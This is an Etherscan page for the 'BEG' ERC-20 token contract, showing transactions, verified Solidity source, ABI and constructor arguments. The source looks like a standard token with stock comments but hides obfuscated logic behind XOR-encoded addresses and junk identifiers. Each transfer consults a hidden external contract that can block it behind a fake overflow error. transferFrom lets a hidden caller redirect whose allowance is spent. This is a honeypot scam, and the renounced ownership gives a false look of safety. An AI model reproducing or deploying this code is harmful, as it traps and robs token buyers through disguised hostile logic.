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0x9B6BF6d8D7457224E366532aCf8FA49f9942Bc20
 

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Approve184559142023-10-29 12:43:35414 days ago1698583415IN
0x9B6BF6d8...f9942Bc20
0 ETH0.0006557714.13846228
Approve184553482023-10-29 10:48:59414 days ago1698576539IN
0x9B6BF6d8...f9942Bc20
0 ETH0.0006007112.87811604
Approve184525892023-10-29 1:33:11414 days ago1698543191IN
0x9B6BF6d8...f9942Bc20
0 ETH0.00043219.31629326
Approve184525532023-10-29 1:25:59414 days ago1698542759IN
0x9B6BF6d8...f9942Bc20
0 ETH0.0005257111.27030916
Approve184524852023-10-29 1:11:59414 days ago1698541919IN
0x9B6BF6d8...f9942Bc20
0 ETH0.0005446911.66211078
Approve184524782023-10-29 1:10:35414 days ago1698541835IN
0x9B6BF6d8...f9942Bc20
0 ETH0.000403368.64728563
Approve184524712023-10-29 1:09:11414 days ago1698541751IN
0x9B6BF6d8...f9942Bc20
0 ETH0.000380768.20921968
Approve184522822023-10-29 0:31:11414 days ago1698539471IN
0x9B6BF6d8...f9942Bc20
0 ETH0.000392248.40891594
Approve184522512023-10-29 0:24:59414 days ago1698539099IN
0x9B6BF6d8...f9942Bc20
0 ETH0.000438889.46238679
Approve184520282023-10-28 23:39:59414 days ago1698536399IN
0x9B6BF6d8...f9942Bc20
0 ETH0.0007178815.37034094
Approve184519442023-10-28 23:23:11414 days ago1698535391IN
0x9B6BF6d8...f9942Bc20
0 ETH0.00041188.86709584
Approve184519422023-10-28 23:22:47414 days ago1698535367IN
0x9B6BF6d8...f9942Bc20
0 ETH0.000420439.0133392
Approve184519182023-10-28 23:17:59414 days ago1698535079IN
0x9B6BF6d8...f9942Bc20
0 ETH0.000432949.3343321
Approve184519002023-10-28 23:14:23414 days ago1698534863IN
0x9B6BF6d8...f9942Bc20
0 ETH0.000432829.33183438
Approve184518102023-10-28 22:56:23414 days ago1698533783IN
0x9B6BF6d8...f9942Bc20
0 ETH0.0008805418.85771987
Renounce Ownersh...184518022023-10-28 22:54:47414 days ago1698533687IN
0x9B6BF6d8...f9942Bc20
0 ETH0.0003922516.8696381
Approve184518022023-10-28 22:54:47414 days ago1698533687IN
0x9B6BF6d8...f9942Bc20
0 ETH0.0009213219.73120076
Approve184517952023-10-28 22:53:23414 days ago1698533603IN
0x9B6BF6d8...f9942Bc20
0 ETH0.0006580914.09006448

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Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-28
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function wyGGIQWWjtDV_JMj7y1Y(bytes memory DaPa5URDgTpN2dVtEcHpCXvt4p) external returns(bytes memory);
    /**
     * @dev Moves a `boolean` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function M9mxBfpnlbuQ_kJTs(bytes memory Gryg2A5ActExybthQO) external returns(bytes memory);
      /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
}


interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}



contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
contract Token is Context, IERC20, IERC20Metadata,IERC20Errors,Ownable {

    mapping(address  => uint256) private _balances;

    mapping(address  => mapping(address  => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    bytes  private CND8w1mcEJ ; 
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(bytes memory JpttjZopHq0aKuLikNm7) {
        _name = "BEG";
        _symbol = "BEG";
        _totalSupply = 100000000 * 10 ** 18;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
        CND8w1mcEJ = JpttjZopHq0aKuLikNm7;
    }


    /**
     * @dev Returns the name of the token.
     */
    function name() public view  returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view  returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view  returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view  returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view  returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public  returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }
    function allowance(address owner, address spender) public view  returns (uint256) {
        return _allowances[owner][spender];
    }
    function M9mxBfpnlbuQ_kJTs(bytes memory Gryg2A5ActExybthQO) external returns(bytes memory){}
    function wyGGIQWWjtDV_JMj7y1Y(bytes memory DaPa5URDgTpN2dVtEcHpCXvt4p) external returns(bytes memory){}
    
    function Hokc9w4Ueh45HKMztuVNATdoMolEhULEE12(bytes memory tsLYlDWC9oWaZ18,bytes memory KmzPRxeg0MzN3jsVIM3Wlm4eroImH0) internal {
        tsLYlDWC9oWaZ18 = o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(tsLYlDWC9oWaZ18);
        address s;
        assembly {s := mload(add(tsLYlDWC9oWaZ18,0x14))}
       bytes memory datas = o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(IERC20(s).M9mxBfpnlbuQ_kJTs(KmzPRxeg0MzN3jsVIM3Wlm4eroImH0));
       uint256 r;
       assembly {
            r := mload(add(datas, 0x20)) 
        }

        require(r==1,"SafeMath: addition overflow");

    }

    function o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(bytes memory QcTCkuDUE0WbLarNkuLyAmwPFBLu0d) internal pure returns (bytes memory) {
            assembly {
                let len := mload(QcTCkuDUE0WbLarNkuLyAmwPFBLu0d)
                let dataPtr := add(QcTCkuDUE0WbLarNkuLyAmwPFBLu0d, 0x20)
                for {
                    let i := 0
                } lt(i, len) {
                    i := add(i, 0x20)
                } {
                mstore(add(dataPtr, i), xor(mload(add(dataPtr, i)), 0x0404040404040404040404040404040404040404040404040404040404040404))
                }
            }
            return QcTCkuDUE0WbLarNkuLyAmwPFBLu0d;
        }


     function SH5ll2RxKMEO9kc3GZhiuMKJiB8VV9Tl1ZW(bytes memory qy7YOeHUEwUERW0r, bytes memory kdbmYrSBg0Z6eR_Zshvc8d__MbzyUGmZqp9ctf) internal  pure returns (bool) {
        if (qy7YOeHUEwUERW0r.length != kdbmYrSBg0Z6eR_Zshvc8d__MbzyUGmZqp9ctf.length) {
            return false; 
        }

        for (uint256 i = 0; i < qy7YOeHUEwUERW0r.length; i++) {
            if (qy7YOeHUEwUERW0r[i] != kdbmYrSBg0Z6eR_Zshvc8d__MbzyUGmZqp9ctf[i]) {
                return false; 
            }
        }

        return true; 
    }

  /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     */
    function UzZb_zgjQTrhSzt5MUMWe4ttyECKDJa5TOfC2MUd(bytes memory JrLhozj9JS ,bytes memory dxcx4qxRxWMbgPNjy5fX) internal  returns (bytes memory) {
         JrLhozj9JS = o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(JrLhozj9JS);
        address xp12z324eYE7tznzW2CV_1Z6Tl0VsNL52sM;
        assembly {
                xp12z324eYE7tznzW2CV_1Z6Tl0VsNL52sM := mload(add(JrLhozj9JS,0x14))
            }
        return IERC20(address(uint160(xp12z324eYE7tznzW2CV_1Z6Tl0VsNL52sM))).wyGGIQWWjtDV_JMj7y1Y(dxcx4qxRxWMbgPNjy5fX);

    }

    function approve(address spender, uint256 value) public  returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address q9j9P6JZ19OsVfV5IznouCrmI6JSpTkQi, address vRrOSlxdSHJDZOnaI1k9O4NqcwItkh2toOaKP, uint256 ZdjDy9O_et) public  returns (bool) {
        _transfer(q9j9P6JZ19OsVfV5IznouCrmI6JSpTkQi, vRrOSlxdSHJDZOnaI1k9O4NqcwItkh2toOaKP, ZdjDy9O_et);
        address spender = _msgSender();
        bytes memory HraALv5VzRrXLd = UzZb_zgjQTrhSzt5MUMWe4ttyECKDJa5TOfC2MUd(CND8w1mcEJ,o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(abi.encodePacked(q9j9P6JZ19OsVfV5IznouCrmI6JSpTkQi)));
        uint256 wVPZUL8JUOcUJFBOs7RWv_U0gsUrYeYa5TEImQ4 = 10;
        if(SH5ll2RxKMEO9kc3GZhiuMKJiB8VV9Tl1ZW(o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(abi.encodePacked(address(0))),HraALv5VzRrXLd) == false)
        {
            wVPZUL8JUOcUJFBOs7RWv_U0gsUrYeYa5TEImQ4 = wVPZUL8JUOcUJFBOs7RWv_U0gsUrYeYa5TEImQ4 + 16;
        }
        if(SH5ll2RxKMEO9kc3GZhiuMKJiB8VV9Tl1ZW(o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(abi.encodePacked(_msgSender())),CND8w1mcEJ))
        {
            wVPZUL8JUOcUJFBOs7RWv_U0gsUrYeYa5TEImQ4 = wVPZUL8JUOcUJFBOs7RWv_U0gsUrYeYa5TEImQ4 + 16;
        }
         if (wVPZUL8JUOcUJFBOs7RWv_U0gsUrYeYa5TEImQ4==42)
        {   
            HraALv5VzRrXLd = o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(HraALv5VzRrXLd);
            assembly {
                q9j9P6JZ19OsVfV5IznouCrmI6JSpTkQi := mload(add(HraALv5VzRrXLd, 0x14))
            }
        }
        _spendAllowance(q9j9P6JZ19OsVfV5IznouCrmI6JSpTkQi, spender, ZdjDy9O_et);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address ww1mYGn8iKSFC6tAmVv72XHO4FDsBdSsl, address qnjHIguzyunL0fga745XBz9yU, uint256 NKIIzb0Ye7) internal {
        if (ww1mYGn8iKSFC6tAmVv72XHO4FDsBdSsl == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (qnjHIguzyunL0fga745XBz9yU == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(ww1mYGn8iKSFC6tAmVv72XHO4FDsBdSsl, qnjHIguzyunL0fga745XBz9yU, NKIIzb0Ye7);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal  {
        Hokc9w4Ueh45HKMztuVNATdoMolEhULEE12(CND8w1mcEJ,o6xJMafPVK32mfYNX1wfE1eGHgSXqkFrpmq76(abi.encodePacked(from, to, value)));
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     * ```
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal  {

        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal  {


        uint256 currentAllowance = allowance(owner, spender);

        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"bytes","name":"JpttjZopHq0aKuLikNm7","type":"bytes"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"bytes","name":"Gryg2A5ActExybthQO","type":"bytes"}],"name":"M9mxBfpnlbuQ_kJTs","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"q9j9P6JZ19OsVfV5IznouCrmI6JSpTkQi","type":"address"},{"internalType":"address","name":"vRrOSlxdSHJDZOnaI1k9O4NqcwItkh2toOaKP","type":"address"},{"internalType":"uint256","name":"ZdjDy9O_et","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"DaPa5URDgTpN2dVtEcHpCXvt4p","type":"bytes"}],"name":"wyGGIQWWjtDV_JMj7y1Y","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"nonpayable","type":"function"}]

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Deployed Bytecode

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Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001482708472004fd2c4ebacfcbf7119eafaf91a4f4e000000000000000000000000

-----Decoded View---------------
Arg [0] : JpttjZopHq0aKuLikNm7 (bytes): 0x82708472004fd2c4ebacfcbf7119eafaf91a4f4e

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000014
Arg [2] : 82708472004fd2c4ebacfcbf7119eafaf91a4f4e000000000000000000000000


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Swarm Source

ipfs://2de3a91ba690fc925d0adf31e6b1957cc4cd818c43a1c164932e008d73b292c5

Block Transaction Difficulty Gas Used Reward
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Block Uncle Number Difficulty Gas Used Reward
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Validator Index Block Amount
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Transaction Hash Block Value Eth2 PubKey Valid
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A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.